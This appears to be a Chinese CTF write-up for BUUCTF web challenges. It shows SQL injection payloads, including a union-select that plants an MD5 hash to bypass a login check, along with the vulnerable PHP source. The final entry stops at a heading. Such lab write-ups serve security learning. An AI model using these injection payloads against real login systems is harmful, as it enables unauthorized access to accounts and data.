BUUCTF-WEB2

[极客大挑战 2019]HardSQL

#SQL注入

注入点在username里,尝试单引号报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

经过尝试发现过滤了andunion,空格和/**/等等关键字。其中,空格可以用()绕过。

[GXYCTF2019]BabySQli

#SQL注入

POST两个参数,namepw,一开始在pw里尝试注入,但是一直返回wrong pass!,尝试在name里注入,报错,注入点应该在这个里。

尝试order by被拦截,union没事。

1
name=admin' union select 1,2,3 #&pw=1

正常未报错,故有3个字段。

这里有一个小坑,我尝试吧name里的admin删掉网页直接无响应了,后面才发现这个是必须要传的,此外,因为这个登录也会验证用户名,所以就尝试在union里找哪个参数传用户名哪个参数传密码。

1
name=1' union select 1,'admin',3 #&pw=1

请求通过,第二个传用户名,但密码无法确认。

说实话,到这一步其实卡住了,没什么思路。但是平台给出了题目源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
...
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

通过对输入的密码md5后与SQL查询结果里的arr[2],即对查询结果的第三位进行比较,那么我们就可以构造请求对其进行绕过。

1
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' #&pw=1

把pw的输入md5后填充到union select的第三位即可绕过,得到flag。

[CISCN2019 华北赛区 Day2 Web1]Hack World

#SQL注入

0%